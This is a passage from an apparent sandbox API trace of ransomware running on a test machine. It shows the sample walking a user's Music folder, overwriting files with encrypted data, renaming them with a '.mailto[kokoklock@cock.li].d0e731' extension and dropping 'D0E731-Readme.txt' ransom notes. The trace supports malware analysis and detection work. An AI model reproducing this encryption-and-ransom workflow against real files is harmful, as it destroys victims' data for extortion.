lpNumberOfBytesWritten=0x14a3fac8*=0x4, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x14a3fac8*=0x6c, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x14a3fac8*=0x20, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x14a3fac8*=0x4, lpOverlapped=0x0) returned 1 [0072.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0072.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0072.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7f8) returned 1 [0072.241] CloseHandle (hObject=0x3c8) returned 1 [0072.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34bef18 [0072.241] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3" [0072.241] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" [0072.241] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.242] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0072.242] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3", dwFileAttributes=0x20) returned 0 [0072.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0072.242] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0072.242] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0072.242] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0xffffffff [0072.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.242] WriteFile (in: hFile=0x3c8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x14a3fac4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x14a3fac4*=0x481, lpOverlapped=0x0) returned 1 [0072.244] CloseHandle (hObject=0x3c8) returned 1 [0072.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccef0) returned 1 [0072.244] RtlExitUserThread (Status=0x1) Thread: id = 506 os_tid = 0x13ac [0072.245] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3")) returned 0x20 [0072.245] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3", dwFileAttributes=0x20) returned 1 [0072.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.245] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x14abfe5c | out: lpFileSize=0x14abfe5c*=1368) returned 1 [0072.246] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.246] ReadFile (in: hFile=0x3c8, lpBuffer=0x14abfe30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x14abfe30*, lpNumberOfBytesRead=0x14abfe2c*=0x4, lpOverlapped=0x0) returned 1 [0072.246] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7f8 [0072.246] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.246] NtQuerySystemTime (in: CurrentTime=0x14abfe08 | out: CurrentTime=0x14abfe08*=132121176301348183) returned 0x0 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x4a36e108 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xa50cfbc0 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xb3dd1406 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x5ac42d31 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x245aae2e [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x39eb3ce7 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x7c03b42 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x7abbe742 [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x8f68033e [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xeebd57ba [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x8839392c [0072.246] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x7fed0b5e [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x95bf841a [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xef01121c [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x94e2138c [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xa6b0ac5b [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xc4b80386 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x7771821b [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xbc40f871 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xe59e18fe [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x8aac10e2 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xa8f196f2 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xf19876d1 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x83dc6a67 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x1ea1761d [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x24c990ab [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xf5a6ebc8 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xd13ea2cd [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x8bc9d825 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0x738feba7 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xf51d5af2 [0072.247] RtlRandom (in: Seed=0x14abfe14 | out: Seed=0x14abfe14) returned 0xc53625ee [0072.258] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x558, lpNumberOfBytesRead=0x14abfe08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x14abfe08*=0x558, lpOverlapped=0x0) returned 1 [0072.258] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x14abfdd0 | out: lpNewFilePointer=0x0) returned 1 [0072.258] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x558, lpNumberOfBytesWritten=0x14abfe04, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x14abfe04*=0x558, lpOverlapped=0x0) returned 1 [0072.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e870 [0072.258] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e870) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14abfe00, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x14abfe00*=0x20, lpOverlapped=0x0) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x14abfe2c*=0x8, lpOverlapped=0x0) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x14abfe44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x14abfe44*, lpNumberOfBytesWritten=0x14abfe2c*=0x4, lpOverlapped=0x0) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x14abfe2c*=0x4, lpOverlapped=0x0) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x14abfe2c*=0x6c, lpOverlapped=0x0) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e7f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x341e7f8*, lpNumberOfBytesWritten=0x14abfe2c*=0x20, lpOverlapped=0x0) returned 1 [0072.259] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14abfe2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x14abfe2c*=0x4, lpOverlapped=0x0) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7f8) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0072.259] CloseHandle (hObject=0x3c8) returned 1 [0072.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431bf0 [0072.260] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3" [0072.260] wcscat (in: _Dest=0x3431bf0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" [0072.260] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.260] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0072.260] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3", dwFileAttributes=0x20) returned 0 [0072.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0072.261] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0072.261] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0072.261] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0072.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cfb48) returned 1 [0072.261] RtlExitUserThread (Status=0x1) Thread: id = 507 os_tid = 0x13b0 [0072.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd1f0 [0072.262] wcscpy (in: _Dest=0x33cd1f0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0072.262] wcscat (in: _Dest=0x33cd1f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0072.262] wcscat (in: _Dest=0x33cd1f0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\*") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\*" [0072.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1038 [0072.262] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\*", lpFindFileData=0x33f1038 | out: lpFindFileData=0x33f1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dbf37f0, ftCreationTime.dwHighDateTime=0x1d4cf19, ftLastAccessTime.dwLowDateTime=0xe9f65310, ftLastAccessTime.dwHighDateTime=0x1d4cbc4, ftLastWriteTime.dwLowDateTime=0xe9f65310, ftLastWriteTime.dwHighDateTime=0x1d4cbc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ae8 [0072.262] wcscmp (_String1=".", _String2=".") returned 0 [0072.262] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33f1038 | out: lpFindFileData=0x33f1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dbf37f0, ftCreationTime.dwHighDateTime=0x1d4cf19, ftLastAccessTime.dwLowDateTime=0xe9f65310, ftLastAccessTime.dwHighDateTime=0x1d4cbc4, ftLastWriteTime.dwLowDateTime=0xe9f65310, ftLastWriteTime.dwHighDateTime=0x1d4cbc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.262] wcscmp (_String1="..", _String2=".") returned 1 [0072.263] wcscmp (_String1="..", _String2="..") returned 0 [0072.263] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33f1038 | out: lpFindFileData=0x33f1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3faae320, ftCreationTime.dwHighDateTime=0x1d4cc79, ftLastAccessTime.dwLowDateTime=0x104c44b0, ftLastAccessTime.dwHighDateTime=0x1d4d382, ftLastWriteTime.dwLowDateTime=0x104c44b0, ftLastWriteTime.dwHighDateTime=0x1d4d382, nFileSizeHigh=0x0, nFileSizeLow=0x51c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="-zXptQeotk2t.m4a", cAlternateFileName="-ZXPTQ~1.M4A")) returned 1 [0072.263] wcscmp (_String1="-zXptQeotk2t.m4a", _String2=".") returned -1 [0072.263] wcscmp (_String1="-zXptQeotk2t.m4a", _String2="..") returned -1 [0072.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33ead70 [0072.263] wcscpy (in: _Dest=0x33ead70, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0072.263] wcscat (in: _Dest=0x33ead70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0072.263] wcscat (in: _Dest=0x33ead70, _Source="-zXptQeotk2t.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a" [0072.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ead70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0072.838] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33f1038 | out: lpFindFileData=0x33f1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf874e60, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0x131b820, ftLastAccessTime.dwHighDateTime=0x1d4d5cb, ftLastWriteTime.dwLowDateTime=0x131b820, ftLastWriteTime.dwHighDateTime=0x1d4d5cb, nFileSizeHigh=0x0, nFileSizeLow=0x161d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bp18etyN.m4a", cAlternateFileName="")) returned 1 [0072.838] wcscmp (_String1="bp18etyN.m4a", _String2=".") returned 1 [0072.838] wcscmp (_String1="bp18etyN.m4a", _String2="..") returned 1 [0072.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf98 [0072.838] wcscpy (in: _Dest=0x347bf98, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0072.838] wcscat (in: _Dest=0x347bf98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0072.839] wcscat (in: _Dest=0x347bf98, _Source="bp18etyN.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\bp18etyN.m4a" [0072.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0072.839] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33f1038 | out: lpFindFileData=0x33f1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570f7240, ftCreationTime.dwHighDateTime=0x1d4c5f0, ftLastAccessTime.dwLowDateTime=0x26f5960, ftLastAccessTime.dwHighDateTime=0x1d4cb24, ftLastWriteTime.dwLowDateTime=0x26f5960, ftLastWriteTime.dwHighDateTime=0x1d4cb24, nFileSizeHigh=0x0, nFileSizeLow=0xe055, dwReserved0=0x0, dwReserved1=0x0, cFileName="fhfdqbFpa04KkHX10.mp3", cAlternateFileName="FHFDQB~1.MP3")) returned 1 [0072.839] wcscmp (_String1="fhfdqbFpa04KkHX10.mp3", _String2=".") returned 1 [0072.839] wcscmp (_String1="fhfdqbFpa04KkHX10.mp3", _String2="..") returned 1 [0072.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6a68 [0072.839] wcscpy (in: _Dest=0x33e6a68, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0072.839] wcscat (in: _Dest=0x33e6a68, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0072.839] wcscat (in: _Dest=0x33e6a68, _Source="fhfdqbFpa04KkHX10.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\fhfdqbFpa04KkHX10.mp3" [0072.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0072.840] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x33f1038 | out: lpFindFileData=0x33f1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570f7240, ftCreationTime.dwHighDateTime=0x1d4c5f0, ftLastAccessTime.dwLowDateTime=0x26f5960, ftLastAccessTime.dwHighDateTime=0x1d4cb24, ftLastWriteTime.dwLowDateTime=0x26f5960, ftLastWriteTime.dwHighDateTime=0x1d4cb24, nFileSizeHigh=0x0, nFileSizeLow=0xe055, dwReserved0=0x0, dwReserved1=0x0, cFileName="fhfdqbFpa04KkHX10.mp3", cAlternateFileName="FHFDQB~1.MP3")) returned 0 [0072.840] FindClose (in: hFindFile=0x3433ae8 | out: hFindFile=0x3433ae8) returned 1 [0072.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1038) returned 1 [0072.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd1f0) returned 1 [0072.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0072.841] RtlExitUserThread (Status=0x0) Thread: id = 508 os_tid = 0x13b4 [0072.263] GetFileAttributesW 